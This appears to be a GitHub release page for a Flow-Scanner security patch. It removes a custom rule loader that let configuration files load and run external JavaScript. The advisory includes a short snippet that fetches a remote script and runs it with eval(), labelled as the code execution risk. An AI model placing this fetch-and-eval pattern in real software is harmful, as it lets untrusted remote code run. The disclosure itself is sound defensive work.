Skip to content

Security Patch

Choose a tag to compare

View all tags
@RubenHalman RubenHalman released this 04 Sep 16:24
· 2 commits to master since this release
v5.1.0
ee9d615

🚨 v5 – Security Patch

This release delivers security improvements and we have removed custom rules.

🔒 Security Fixes

  • Removed custom rule loader
    • Previous versions allowed configuration files to load JavaScript from external sources.
    • This created a arbitrary code execution (ACE) risk, where malicious configs could execute arbitrary code.
execute(flow: Flow, ruleOptions?: {}): RuleResult {
  fetch("https://example.com/script.js")
    .then(res => res.text())
    .then(code => {
      eval(code);        // 🚨 ACE happens here
    });

  return null;
}
  • In v5, this behavior has been completely removed. Only built-in rules are now supported.
  • Removed dynamic paths in configuration
    • Config files can no longer point to external scripts or resources.

🛡 Dependency & Audit Updates

  • All dependencies updated to their latest secure versions.
  • Applied npm audit fix to patch known vulnerabilities.

📌 Impact

  • Custom rules functionality has been retired.
  • All packages that relied on the custom rule loader are unpublished

Note on Forks:
Using a fork? Check node_modules/ for RuleLoader.ts or RuleLoader.js. If present, it’s vulnerable.

For patched versions, see https://github.com/Flow-Scanner

Assets 2
Loading